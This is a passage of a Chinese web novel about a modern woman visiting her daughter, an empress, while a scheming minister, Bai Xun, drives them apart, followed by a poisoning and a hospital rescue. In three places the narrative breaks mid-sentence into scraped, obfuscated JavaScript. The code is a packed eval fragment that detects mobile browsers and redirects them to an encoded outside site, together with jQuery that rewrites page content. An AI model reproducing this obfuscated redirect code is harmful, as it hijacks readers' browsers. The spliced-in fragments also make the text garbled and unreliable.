“陛下,怎容这般晦气之人扰了您的兴致?”柏巡不知何时出现在不远处,恭敬地开口,恰到好处地打断了玉娘的询问,“尚衣监已备好各类布料,正等您过目呢。” 玉娘下意识觉得有些不对,却又说不上来哪里不对。她往前走了两步,迎着明媚的阳光,忽然又回头看向仍跪在地上的两个宫娥,对柏巡道:“将她们调到我寝宫伺候。” 柏巡心中一惊,当即躬身应道:“是。” 前往尚衣监的路上,柏巡心中已掀起惊涛骇浪。他几乎瞬间就决定,要拿那两个宫娥父母家人的性命相要挟,逼她们闭嘴,更让他心惊的是,玉娘似乎并非全然甘于被掌控。 明明阳光正好,他背后却沁出了一层冷汗。 从前他只是个低级武官,丢了性命也没什么,如今他却是一品大员,紫袍金带,掌天下兵马,他绝不能失去这一切。 他望着玉娘走在前方的背影,垂下眼帘,恭谨地跟了上去。 玉娘并未将这段插曲太过放在心上,通过前三次相见,她隐约察觉到,妈妈似乎每隔一段时间左右,便会出现在自己身边。 自己在哪儿,妈妈就会出现在哪儿。 于是,玉娘做出了入主京城后的第一个决定——移驾洛阳,赏春日牡丹,此令一下,随从仪仗塞满道路,数万人浩浩荡荡跟随至洛阳。 洛阳行宫内,数万盆牡丹层层叠叠摆满园中。无论从哪个方向望去,都是一片赏心悦目的花海,玉娘在宫娥簇拥下漫步其间,目光掠过那株株姚黄魏紫,轻声道:“这……” “陛下,可是有不妥?” 玉娘摇摇头。胤朝以紫、黄为贵,可她不知妈妈所在的仙界以何为美,妈妈会喜欢吗? 沉吟片刻,她补充道:“将青丝魁、潜溪绯、鞓红、一捻红也都摆上来,姹紫嫣红间缀些翠绿,更好看。” “是,陛下。” 当郝美丽穿着一身居家服、提着食盒抵达时,不由愣在原地——眼前景象,竟如人间仙境。姚黄魏紫,朦胧光晕,万千花朵层层叠叠汇成海洋,几乎要将天空染透,远处亭台楼阁隐现其间,恍然若梦。 “妈妈,您来了。” 郝美丽尚在怔忪之际,前方花海忽然向两侧分开,玉娘身着华服,周身熠熠生辉,含笑走上前来,轻轻牵起郝美丽的手,将她引至宴席中央。 千百宫娥,翩然起舞。 郝美丽忍了又忍,才没把手中的食盒藏到身后。 她轻声问:“这是做什么?” “妈妈救了我,女儿一直不知该如何报答。”玉娘今日盛装,不便像往常那样倚进妈妈怀里,“今日设此宴,只为让妈妈开心。” 待两人终于落座,案前已摆好一瓶插花——淡粉圆润的瓷瓶中,高低错落地插着几枝粉瓣菊,淡粉缠云,白丝垂露,在花叶簇拥间显得格外柔美。 很是美丽,郝美丽不由多看了两眼,玉娘见状,眼角微微弯了弯。 “我们之间,不必如此。”郝美丽将食盒轻轻放下,温声道。 “这只是女儿的一点心意。”玉娘抬眼望她,眸光里带着小心翼翼的期盼,让郝美丽瞬间心软,再说不出一句重话。 “我做了几道菜,带来给你尝尝。” 郝美丽将食盒往前推了推。 玉娘便已凑近了些,好奇地问:“妈妈带了什么来?” 食盒开启,宫人上前布菜——香辣梭子蟹、菠萝咕咾肉、蛋黄焗南瓜、洋葱炒肉,还有番茄炒蛋,虽都是未见过的菜色,但看着倒也色香俱全。 玉娘夹了一筷香辣蟹,刚入口便被辣得呛住,立刻吐了出来,郝美丽手忙脚乱地递上茶水:“不喜欢就别试了,没关系的。” 玉娘连喝了几大口茶,摇摇头:“是有些辛辣……但妈妈做的,很好吃,女儿喜欢。” 这话反而让郝美丽更不知如何是好,在众人侍奉下,玉娘明明过得这般安逸,自己一来,却让她辣出了眼泪。 她果然不懂怎么做个好妈妈。 两人对坐着,一时都有些无措。空气中弥漫着一种微妙的沉默,一个因辜负了妈妈心意而愧疚,一个因没能给女儿更好的而自责,这般难以言说的情绪,只能各自默默消化。 郝美丽将目光投向眼前盛大的宴席,女儿似乎真的很快乐,她忽然想起尚未平息的叛军之乱,于是轻声询问:“玉娘,关于朝政……你今后有何打算?” “吧嗒”一声,玉娘手中的筷子落在了桌上。 郝美丽看着女儿躲闪的眼神,心头正一沉。 一个陌生的男子站了出来,伏跪在地,恭谨的答道:“回禀上仙,如今京城城盛赞上仙神迹,天下归心,叛军已俯首,群臣请进的折子上了一摞又一摞,仙女推辞不肯进,心里全是您啊,足见母女情深……” 这个男人的声音恭敬得过分,姿态卑微得夸张,像一层厚厚的油彩,让郝美丽感到不适。郝美丽看着他,再看看玉娘躲开的视线,问:“你是谁?” “回禀上仙,小臣名叫柏巡,曾在高坡太子刺杀仙女时尽力,如今为仙女效力……”柏巡还是那副恭谨的样子。 他把头低的和地面一样低,看不到郝美丽的脸色,只能凭借声音揣度她的意思,现在看来,上仙似乎有一些不悦。 他把心一狠,继续道:“上仙,务必要可怜可怜我们仙女娘娘,您不在的日子里,她觉也睡不好,饭也吃不香,捧着您送的仙器日日发呆呢……” “柏巡!住嘴!”玉娘大喊。 他怎么!他怎么能在妈妈面前这样说?! 这句话让郝美丽的心移到了女儿身上,她关切的看过去,只看到了玉娘更加躲闪的脸,她忍不住问:“玉娘……” “妈妈,我没事。”玉娘把身子别过去,嘴硬道。 郝美丽心里起了千万种心思,却都轻轻放下了,她把目光移过来,挑着眉,质问:“柏巡,所以现在是你在处理政务?” 不妙。 柏巡早就预料到这一天 ,因此,更加谦卑道:“上仙,小臣不知您的意思是?小臣得了仙女的命令,暂时代为处置政事……” 一句话把郝美丽气个半死。 这个柏巡哪来的人物?竟然敢窃取女儿的权柄?找死不成! 一瞬间,郝美丽就起了杀心。 那柏巡竟然有恃无恐,竟然道:“若上仙不信,您可垂询仙女,我等的忠心,仙女自然是明白的。” 郝美丽看向玉娘。 玉娘感受到妈妈的目光,点了点头,是的,是她的命令,让柏巡去处理那些事的。 “玉娘,你……”郝美丽很不解。 “仙女为了此次宴席,足足准备了一个月,就连宴席上的花,都是亲手挑选花枝,一束束裁剪而成,上仙,小臣请您莫要辜负了仙女的一片孝心……”柏巡又道。 却不想,这句话让郝美丽更加恼怒。 还没追究你窥探权柄之罪,竟敢在我女儿面前上眼药,李玄死了,太子死了,叛军首领死了,现在又来一个柏巡? 郝美丽怒极,道:“玉娘,妈妈给你的手枪呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823791|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柏巡一听这话,知道不好,他也不求饶,反而抬起头,对着玉娘大喊:“陛下,小臣为您着想,句句为您分辨,却不想上仙如此不分青红皂白,竟然要杀了小臣吗?求您救救小臣啊!小臣可是最明白您的孝心的啊!” “什么孝心不孝心的,你住口!”郝美丽大怒。 玉娘有些迷惑,她不懂,为什么她倾尽天下之力来证明的爱意,母亲视而不见;为什么一个忠心为她分忧的臣子,母亲却要喊打喊杀。 什么孝心不孝心的。 郝美丽脱口而出的这句话,彻底吓到了玉娘。 妈妈不在乎她的心意吗? 她猛然回头,只看到了郝美丽的愤怒,眼泪一下子涌出。 郝美丽面对这个场面,觉得荒谬无比,她怎么也不肯相信,自己的女儿竟然会被这样的人愚弄!可她看着眼前跪着眼中全是野心的男人,还有看着自己眼中全是伤心的女儿。 她竟然有了被挟持之感。 “玉娘,你……”,郝美丽痛心疾首。 那柏巡眼见争端起,立刻让安排好的人,将一件件贡品呈在郝美丽面前,又垂着泪哽咽道:“这些都是陛下为您准备的礼物,只希望您能开心,上仙,您怎么如此让陛下寒心呢?” 郝美丽看着面前繁华种种,只觉遍体生寒,顺手打开一个贡品箱子里,竟然是一箱贡金,满目金光,刺伤了她的眼。 那一瞬间,她想到了被忽视掉的历史,想到了叛军之乱历时八年,因战乱而死亡的三千万普通百姓,她看到自己的手,似乎也沾染了血色。 郝美丽闭上眼,不忍再看。 于是,就这样错过了玉娘眼里递过来的哀求之色,玉娘也清晰的看到了郝美丽眼中的失望。 她们本该冷静下来好好谈谈的。 可柏巡却不给这对母女缓和的时间,他像一条毒蛇一样,吐着信子,撕咬着她们之间的裂痕:“上仙为何这般神色?难道陛下的孝心,竟然让上仙失望至此吗?” “你住嘴!”郝美丽心中火气腾的一下飞起。 安抚玉娘,还是杀了柏巡? 郝美丽只犹豫了一瞬,就有了决断,安抚只能解一时之痛,而柏巡活着,就会像毒藤一样不断侵蚀玉娘的未来,他必须死,绝不能留他! 可当她抽刀之时,那柏巡竟踉跄扑跪在玉娘裙边,以头抢地,哭着大喊:“陛下!您一片至纯孝心,日月可鉴!上仙……上仙何以漠然至此?便是天家恩泽浩荡,难道为人子女的拳拳之心,就只配得上这这般冷眼相待么?!” “难道上仙根本不疼爱您这个孩子?” 如同一根线被扯到极致,玉娘彻底坠入深渊。 妈妈这么年轻,怎么会是我的妈妈?她只是路过,可怜我,才当了我的妈妈。万一她不要我了呢? 这些问题,玉娘从来只敢让它们在心底最暗处蜷缩,连自己都不敢细看,柏巡的每一句质问,都让她心底的黑暗逐渐变大。 柏巡躲到玉娘身后,郝美丽追至她面前。 玉娘仰起脸,流着泪问:“妈妈,我是你唯一的孩子,是吗?你永远都做我的妈妈,会一直爱我,对吗?” 郝美丽的手僵在半空,眼前是玉娘泪眼婆娑的脸,她却想起了系统光屏上那些闪过的画面…… 郝美丽丢下了剑,捧起来女儿的脸:“玉娘,你是我的女儿,我爱你……” “可您为什么失望?我错了么?我让您享天下至乐,见世间至美,这难道也错了?” 玉娘仰着脸追问,泪水混着脂粉,也顾不得擦。 她固执地摇着郝美丽的手,非要一个答案不可,像个弄坏了玩具怕被责骂而先哭起来的孩子,郝美丽却感到很棘手,她根本没有时间教育一个孩子。 “玉娘,妈妈不是要你用天下人的血泪来供奉!这样的快乐是假的,我唯一希望的是你自己开心。”郝美丽开始争分夺秒,急声道。 “妈妈,那什么是真的?李玄的爱是真的吗?这天下人的心是真的吗?他们昨天骂我祸水,今天赞我仙女!这些都是真的吗?” “妈妈,你告诉我要开心!我照你说的做了,可你却说,这是错的?那我应该怎么做?妈妈,我不明白!” “难道我这样贪图享乐让您失望了吗?难道妈妈后悔救了我吗?” 玉娘终于把最恐惧的这句话说出了口。 她紧紧盯着郝美丽,迫切希望从她脸上看到否定。 可郝美丽脸上,是复杂,是哀痛,是愧疚,却没有她最想要的那种神色,玉娘拽着郝美丽衣服的手有些松了。 “妈妈……” “玉娘!” 12. 第 12 章 玉娘为了母亲,去了洛阳。 可京城,还站在哪里,一如既往,大明宫里,也悄悄躲着一些见不得光的人,比如高太监,比如李辅国。 玉娘杀了皇帝和太子,却忘了他们。 他们从皇帝的宠臣,变成了过街老鼠,只能日夜躲在暗室里,怕被人看到,心里难免坐着李胤光复的美梦,却也知道,只能是美梦。 不曾想,这天,竟然有人来找他们了。 “高公公,李公公!” 来人从黑夜里潜进来,看不清脸,只带着满身算计,和大明宫里最龌龊的两人合流了。 “大人,您这是?”高太监躬身,行礼。 “欲复我大胤之基业,全赖两位了!” 这话说的重,谁担得起这责任? “大人,您折煞我也!”李辅国这段日子过的苦,原本乌黑的头发如今白了大半他的主子死了!他还有什么指望? “我等已经到了如今这地步了,哪一天死在这深宫,连张草席都没有,都没人收尸啊!” “国不将国,都是那个妖妇的错,我等要迎新帝回京城,必须除了那个妖妇!”来人狠声说。 高太监和李辅国对视一眼,叹道:“您是没见过,那妖孽有妖母赐予的法器,竟直接将那轧荦山变成了肉沫,我等如何能除了她?” “两位莫惊,我此次来,自然已有对策,只需要两位公公协助,新帝已下旨意,待事成之后,为两位封侯!” 封侯! 高太监和李辅国对视一眼,似恶兽苏醒。 * 洛阳城内,盛大宴席上,母女对立。 郝美丽想说很多很多,比如: “我救你不是为了你量中华之物力,结与我之欢心!” “我不想你变成李玄或轧荦山那样的人!” “不要把我捧到神坛,我们是平等的。” 可是,可是。 当初不是自己告诉玉娘,要让自己快乐吗?为什么她现在快乐了,自己又要怪罪她? “玉娘……”郝美丽想要道歉。 可玉娘却因为吐露最难堪的心事别过脸,她这张让人惊艳的脸挂上冷意,足以冻伤一颗母亲的心。 难道要郝美丽告诉她,我救了你,是为了让你肩负起一个国家的重任?不是这样的,她就是为了救她而来,她是来做她妈妈的,她只为了她。 可千万百姓呢?让玉娘踩在他们头上吗? 为何世事如此艰难?不仅要压垮女儿,还要压垮妈妈?郝美丽心头像是塞了一团湿透的棉絮,又沉又闷,透不过气。 “我的女儿……” 玉娘侧过去的脸,泪还在流,眼泪滚过脸颊,在下颌处悬成一颗颗,然后砸在衣襟上,晕开一小片深色的痕,她听到了妈妈的痛苦,她只等着妈妈再来拥抱自己,她就什么都愿意改。 可良久,再没动静,她回过头看,妈妈不见了。 玉娘站在空无一人的盛宴之上,哭着大喊:“妈妈,妈妈,你在哪?不要离开我……” 她并不想任性的,她想和妈妈好好说话的,她…… 妈妈走了,妈妈留下的食盒还在,妈妈亲手做的菜还摆在桌子上,那道蟹,她奔到它面前,顾不得礼仪,大口吃起来,辣椒的口感对一个胤朝人来说,太过陌生,像一团火从舌尖烧到喉咙,烧得她眼睛发酸,让她又一次流下泪来。 妈妈,你做的这道菜,太辣了,我受不了。妈妈,什么是对的,什么是错的?我不明白,你教教我好不好? “陛下,上仙似有不悦……” 柏巡又开口了。 “你住嘴,我要杀了你!” 玉娘抬起头,眼里全是愤怒,所有的怒火倾向了这个从中搅局的男人。 看着玉娘的无边怒火,柏巡向这对母女发出了最后一击:“陛下!不知上仙是否还愿降临?小臣已将上仙的容貌记在心中,愿为您征询画师,复刻上仙之姿于画中,供奉于高堂之上,以解您思念之苦啊……” 妈妈还会再来吗? 这个问题,玉娘回答不了,她只知道,妈妈是突然出现的,所以,妈妈也可能再也不出现,她低下头,看着妈妈做的菜,已经凉了。 这股巨大的茫然,让她连愤怒都显得有些无力,她已经顾不上柏巡了。 这一幕落在柏巡眼中,他又明白了。 哪怕是玉娘,也不知道上仙是否还会降临,更不知道和上仙的情分到底如何,这真的是,太令他惊喜了。 柏巡还跪在地上,可他的野心在无形之中已经攀越到天际,自上而下,狠狠缠绕着垂泪的玉娘,藤条上的尖刺扎进皮肉,一再收紧,只待时机成熟,就要吸干玉娘所有血肉。 夜深了,玉娘的眼泪还没干。 郝美丽在她的小屋里也坐立难安。 她想要抽一支烟冷静冷静,手却抖的怎么也点不燃那根细长的烟,打火机的齿轮摩擦出火星,一次,两次,三次……火焰明明灭灭,就是不肯稳下来。再三尝试后,她甩开了那只烟,光着脚,在小屋里走来走去,像一头困兽。 怎么办?怎么办? 她打开手机,屏幕的冷光刺进瞳孔,尝试搜索答案。 “怎么样和女儿相处?” “与女儿相处的核心在于尊重她的独立性、建立有效沟通、给予适当空间,并以身作则……” 不对,不只是这个。 郝美丽在智能AI搜索栏里输入:“我女儿成为了大胤的统治者,我应该怎么教她……” 光标在输入框里一闪一闪,打着打着,郝美丽的手停下来了。 好荒唐。 这件事会有标准答案吗?她自嘲一笑。 她终于把那根烟点起来了,一片黑暗里,她一个人抽着烟,烟头的红点在黑暗中明明灭灭,思索着,直到黎明,地上留下一堆灰白的烟灰,天亮了。 她重新站起身来,才发现脚下有个箱子,是玉娘给她准备的那箱贡金,她只看了一眼就跨过了那个箱子。 郝美丽请了一周的长假,她打开电脑,开始工作。 这一次,做的却是最特别的工作。 为了女儿。 * 从洛阳回京城的途中,并不顺心。 纵使洛阳姹紫嫣红牡丹开遍,玉娘也呆不下去了,她逃也是的离开了那个地方,似乎就离伤心远了一些。 难道世间还有此情此景能让她流尽眼泪?她不明白。 她身边,曾经那两个宫娥在陪着她,她们一个十四岁,一个十六岁,看着沉默的玉娘,对视一眼,一人掀开帘子:“陛下,您看,外面的春色正盛呢。” 玉娘撇了一眼,果然是,田野里确实有新绿,远处的桃花也开了几树。不过,那些在田埂上佝偻着身子的人,怎么都是衣衫褴褛?她还想细看,柏巡却突然出现在掀开的窗帘外,迎着一张脸,笑着说话。 “陛下,我已经传您的旨意,请了最好的画师到宫里。”他又笑着。 玉娘的心里却像一只蝎子爬过,被狠蛰了一下。 “好。”她轻轻点头。 随后帘子就被放下了,厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823792|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的锦缎垂落,隔绝了光,两个小宫娥垂下头不说话,一片静默中,好像有了一些变化。 回到了大明宫。 那日,初夏将至,渐有暑气。 玉娘捧着手中一卷书,书页是微黄的宣纸,墨字工整,她细看了一会后,如同过去几日一样,然后,说:“把柏巡叫来。” 很突兀的一道命令。 伺候的宫娥对视一眼,匆匆而去。 “陛下突然要传召我?”柏巡不敢大意,抬脚边走。 “正是,大人。” “陛下在做什么?” “陛下正在读书。” “读书?读什么书?” “奴婢不大识的字,好像是二十四卷史书……”那个小宫娥跟着柏巡的脚步,急匆匆的走在皇宫长廊中,长廊很深,两旁的朱红柱子一根接一根,像没有尽头。 “二十四卷……”柏巡匆匆的步伐急停下来。 二十四卷?陛下看的是哪一卷? 是《旧唐书·李林甫传》林甫面柔而有狡计,必先饷遗左右,伺察微旨,以固恩宠?还是《宋史·蔡京传》京天资凶谲,托绍述之名,务侈靡以惑人主,阴窃国柄? 柏巡的脚彻底顿住了,他如何也不能往前走了,他可是最清楚仙器厉害的人,陛下要杀了他吗?他用紫袍的锦绣衣襟擦了擦冷汗,他还没有准备好,他还是有一些恐惧。 “去禀告陛下,说我为寻访颜料外出,不得空闲。”他找了个借口,试探一番。 小宫娥奔去,裙裾扫过地面。 “去告诉柏巡,把一切事都放下,现在就过来见我。”玉娘又翻了一页书,开了口,她的声音很平静,却带着不容置疑的意味。 小宫娥奔来,这次跑得更急,呼吸都有些乱了。 “现在,就去,见她?”柏巡从高大的椅子上站起身来,椅子是上好的紫檀木,起身时发出沉闷的摩擦声。 恐惧、猜忌、疑心、野心——这些情绪不再是泾渭分明的溪流,它们混在一起,成了一锅滚烫的毒汁,在他的心里疯狂蹿腾,终于,决堤。 “那我,就去,见她。” 等待柏巡来的时间,并不算漫长,只是天气原因,大殿里也有了一些燥热的暑气,那热气从地砖缝里、从窗棂间隙里渗进来。 于是,一位陌生的小太监,将一杯冰饮端上来时,小宫娥觉得恰到好处。 玉娘性子憨直,待底下人也宽厚,殿里头总是笑语多些,日子久了,都知道她好伺候,连最小的宫娥都敢凑到她跟前说几句悄悄话。 她这份宽纵,自然也得了宫娥们的真心,她们处处想着她,尽心尽力侍奉她,那个小宫娥说:“陛下,天气热,您尝尝,解解暑气。” 玉娘记得她,记得她掀起车帘时轻颤的手。 她看向冰饮,晶莹剔透的玉碗,冒着丝丝凉气的冰饮,玉娘用勺子搅了搅,她舀起一勺,送入口中。 冰凉清甜,她轻轻舒了口气。 “柏巡怎么还不来?” 这句疑问,没人能回答。 玉娘撂下了书,拿出那把粉色手枪,装上子弹,“咔哒”一声,弹匣归位,蓄势待发,满宫寂静,再无杂音。 她做好杀了柏巡的准备了。 她已经明白了,他是个奸臣,是个阻碍她和妈妈亲近的贱人!该杀! 可下一秒。 “哇!”一大口黑血从她口中吐出! 那碗冰饮砸在地上,玉碗碎成几瓣,和黑红的血混在一起,狼藉一片! “陛下!” 13. 第 13 章 对郝美丽来说,这是一个寻常的夏日。 正午时分,她打开了空调,从冰箱里拿出一瓶冰镇可乐,打开,气泡欢腾着上涌,她正准备送到嘴边—— “噗!” 一口黑血吐出! 她摔倒在地,可乐撒在地上,黑色的液体冒着气泡,流进了同样黑色的血中,她的意识逐渐模糊,她这是怎么了? “系统……” “宿主,从你介入女儿的命运开始,你们就已经同生同死,不可分割了。” “你……”她想质问,想怒骂,但一股更强烈的恶心感猛地冲上喉头,又大口大口地呕出粘稠的血。 “向爱而行,向死而生,你早该明白的,宿主。”系统的电子音传入郝美丽耳中,陌生又冰冷。 原来,从来没有高高在上的救世主,只有濒临死亡的女儿和以命相抵的母亲,它把她们系在同一根命运的丝线上,然后点燃了火焰,看着她们挣扎自救。 郝美丽终于明白了,也太迟了。 郝美丽腹中一阵翻江倒海的绞痛,她捂住腹部,额上瞬间沁出冷汗,皮肤上也开始出现不正常的瘀斑,她又俯身呕吐,到最后,呕出的几乎全是黑色血块。 她的眼睛几乎要看不清了,她想挣扎着去拿手机,可她没有力气,她的手指也在发抖,她整个人陷进血污里,头发丝都凝固在那摊浑浊的污垢里,她整个人的意识都要消散了…… 郝美丽努力想要睁开眼睛,可眼睛越来越沉,她的手从一开始往前伸变成了垂在地板上,渐渐的,没有知觉了。 她几乎要闭上眼睛了。 整个房间里,只有她渐渐微弱的呼吸声,她要死了吗? 就在意识即将彻底沉入无边黑暗的前一瞬,遥远的地方,似乎传来了“咚咚”的敲门声,还有一个女声隐隐约约:“美丽?郝美丽!你在家吗?” 是谁?是开心,开心来了吗? 同生同死,我死了,玉娘呢? 郝美丽的意识一下子清醒,她努力睁开眼,只看到了白花花的照明灯,刺的眼睛痛,喉咙里好像插着管子,每一次呼吸都伴随着异物入侵的窒息感。 “大钱!美丽的状态很不好!所有指标都在往下掉!医生说是急性多器官衰竭,像是……像是什么烈性中毒!”是常开心的声音,带着哭腔。 中毒?那玉娘…… 郝美丽又昏迷过去了。 “开心,把美丽现在的血检、CT报告全部传给我,我联系了港区总院的直升机救援队,他们有个针对不明毒素的快速筛查和血液净化团队,我现在就授权启动绿色通道!”郑大钱的手机一直没有挂断,她动用了所有人脉,联系到了最好的医院。 郝美丽倒下的太快太突然,快到差一点就抓不到她的生机,从常开心破门而出那一刻起,来自好友的生死救援就开始了。 在港区最顶尖的私立医院里,郑大钱动用了所有人情和天价费用砸开的绿色通道,顶尖的医疗团队像精密仪器般运转,强效解毒剂、血液净化、器官支持系统…… 一连串常人难以想象的干预手段,硬生生从死神指缝里,把缕游丝般的生机抠了出来。 主治医生脱下无菌手套,面色凝重地走向守在玻璃窗外的两人,他手里拿着最新的全套化验单,眉头紧锁。 “郑总,常小姐,情况很诡异。”医生斟酌着用词,“郝小姐的临床表现,完全是感染中毒性休克合并多器官功能障碍综合征的典型过程,但是……” “我们进行了最全面、最快速的毒物筛查和病原体检测,结果全部是阴性。血液里,找不到任何已知的毒素。” “这就像,她的免疫系统,在攻击一个不存在的敌人,并因此摧毁自身……” 并不存在的敌人? 郑大钱和常开心对视一眼,从对方眼中看到了答案——那个该死的系统!只有它能解释这一切! “一定是那个系统出了问题!”常开心只觉得心惊胆战,明明前几个月,美丽向她们讲述女儿时还一脸幸福,怎么突然之间就变成这样? “医生,能救救她吗?”郑大钱追问。 医生沉默了几秒,缓缓摇头:“按照目前的衰竭速度,如果没有根本性的转变,她的身体支撑不过24小时。常规治疗只能延缓,无法逆转。除非……” “除非什么?” “除非我们能找到方法,中断她大脑接收到的那个错误信号。”医生看着她们,“换句话说,我们需要知道那个信号到底是什么,以及如何关闭它,否则……” 常开心几乎站立不稳,郑大钱扶住她,看向玻璃窗内浑身插满管子脸色死灰的好友,深吸一口气,做出了决定。 “医生,有没有办法,能让她短暂地清醒过来?哪怕只有几分钟?有些事……我们必须问她。” “如果是这样,我们提议进行甲泼尼龙超大剂量冲击联合镇静疗法……”主治医生沉思后,说道。 “大概意思就是,给她的身体加入一个时光暂停键,在短暂的几小时内,我们来观察具体原因,寻找解决办法,但这无异于饮鸩止渴,会带来更严重的后果。” “第一,她的免疫系统在这期间将形同虚设,一粒灰尘都可能引发致命感染。” “第二,激素会引发严重的精神症状:躁狂、妄想、幻视幻听,她看到、感受到的,可能并非真实。” “第三,对心血管系统是巨大负担,随时可能心衰、脑出血。” “第四,也是最重要的——窗口期只有很短。药效过后,如果根本问题没解决,崩溃会以更猛烈的形式卷土重来。” 郑大钱看着玻璃后奄奄一息的郝美丽,又看向常开心。 “如果不做呢?”常开心声音发抖。 “24小时后,必死无疑。” 常开心的手不自觉的握住了郑大钱的手臂,她没有做好准备,去决定好友的生死,她脑子里一片空白,又怕又慌,只能靠着身边这个一向比自己更有主见的人。 “医生,没有别的办法了吗?”郑大钱声音嘶哑。 “1、放任下去,24小时后死亡;2、注入药物,缓和几个小时,然后听天由命。”主治医生把这个选择交给她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823793|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 郑大钱头一次后悔,成为郝美丽的朋友,她怎么能这么自私,躺在那里一动不动,将这种难题交给她?她宁愿此刻躺在那里的是自己! 时间一秒一秒的过去,令人心焦。 “医生,给她注射吧。”郑大钱不再看玻璃后的人影,沙哑着声音说道,她的手在衣袖中颤抖,肩膀微微塌了下去。 “大钱!”常开心看向她,眼圈通红,最后只能死死咬住嘴唇,把头埋了下去。 两人站在急救室的观察窗外,隔着一层厚厚的玻璃,看着里面其中一位医生拿着注射器,俯身靠近病床,针尖反射着冷白色的光,刺破了郝美丽手臂上苍白的皮肤。 药物注入后,郝美丽的生命体征在监护仪上,出现一种被强行抚平的平稳,她的脸色也诡异般的恢复到了常人状态,渐渐有了血色。 十几分钟后,郝美丽睁开了眼。 但眼神不是清醒,而是一种被药物点燃涣散又锐利的空洞,她开始剧烈挣扎,呢喃着听不懂的话,力气大得需要几个护士才能按住。 两人冲了进去,美丽! “幻视!谵妄!是激素精神反应!”医生喊道,“镇静剂!加大剂量!” 但在被打镇静的前一秒,郝美丽突然死死抓住常开心的手,瞳孔聚焦了一瞬,嘶哑着说:“开心……” “住手!不要注射镇静剂了!不要!”常开心的眼泪糊满了脸,她回握住美丽的手,哭着说:“我在,我在!你说,你说!我在!” “我要……”郝美丽的目光涣散又努力集中,脸上红晕更盛,呼吸急促。 “我要去救玉娘……” “我不同意!你不能去!美丽,你变成什么样了!你不可以再去了,我求你了……”常开心的泪滴在郝美丽的手上,她的哭喊声在整个急救室回荡。 郑大钱在另一侧死死握着郝美丽的手,有了一丝明悟,问:“美丽,是不是必须救玉娘?是不是救了她你才能活?” 郝美丽努力偏过头,将眼神聚焦在郑大钱这边,使劲点了点头,说:“我必须救她……” 郑大钱凑到她耳边,嘶哑着声音问:“怎么样才能救她?怎么样才能救你?告诉我,美丽!” 十分钟后,病房里只剩下监测仪规律的滴答声,所有的医护人员都离开了这栋大楼。 她们今晚救助了一个非常特殊的病人,在离开前,所有人都在一份条款严密的保密协议上签了字。 作为回报,他们收到了一份远超常规的报酬,金额高到足以令人乍舌,也让他们瞬间明白了什么该问,什么不该问。 等所有人离开后。 郑大钱靠近郝美丽,小心的握着她的手,贴在自己的脸上,说:“美丽,都已经准备好了,我们等你回来。” 打了特效药的郝美丽,脸上带着不自然的红晕,她的思维很混乱,她努力辨认着床边的身影,知道那是大钱,可对方的轮廓却总是在晃动,怎么也看不清。 但她的意识又很清楚,她知道她要做什么。 她要去救玉娘。 她要回来…… 14.第 14 章 “不管你下不下令,柏巡都会死。” 玉娘怔住了:“什么?” “或者说,他们给你呈上那颗人头之前,柏巡已经死了。” “妈妈,为什么?” “因为只有柏巡是你的人,在整个京城,只有他是你的心腹。这个人又满身破绽,贪婪、跋扈、不得人心,杀他太容易了,他确实该死。” 郝美丽看着女儿的眼睛:“但他死了之后,你身后就空无一人了。” 玉娘的手指在郝美丽掌心里微微颤抖,她想起陈希烈跪地呈上血书时的诚恳,想起达奚珣立刻让出相位的识大体,想起张韬恰到好处的出现。 一切都太合适了。 “妈妈,他们为什么要这样对我?我给了他们权力,我信任他们……” “因为他们在和你争权。”郝美丽打断她,“玉娘,你要明白,李玄有整个李胤宗室的支持,有运行了几百年的官僚制度,有盘根错节的军队体系,可你呢?” “你的亲眷已经死完了,杨家的势力在高坡时就彻底瓦解了。你没有家族根基,没有门生故吏,没有从小培养的心腹班底,你甚至没有真正属于自己的支持者……” 烛火跳动了一下,在玉娘脸上投下摇曳的暗影,一时之间,有些安静,玉娘看向郝美丽,不对,她还有…… “可我有你,妈妈。” “是的,你还有我。” 妈妈就是她最大的底气,妈妈可以给她带来一切,尊贵的身份,强悍的武器,但如果有一天,他们发现妈妈并不能随时降临呢?或者,妈妈不再来了呢? 一股寒意从脊椎爬上来。 “妈妈,那我该怎么做?我要杀了他们吗?陈希烈、达奚珣、张韬……还有那些藏在暗处的人?” 玉娘问这话时,眼神里闪过一丝狠厉。 郝美丽却摇了摇头。 “不,现在不能杀。”她看着女儿,“杀了他们,谁来替你办事?” “那我……” ………… 一个小时时间到了,光晕泛起,郝美丽的身影渐渐淡去,玉娘站在原地,看着母亲消失的地方许久。 “妈妈,我不会让你失望的。” * 现代,郝美丽的公寓。 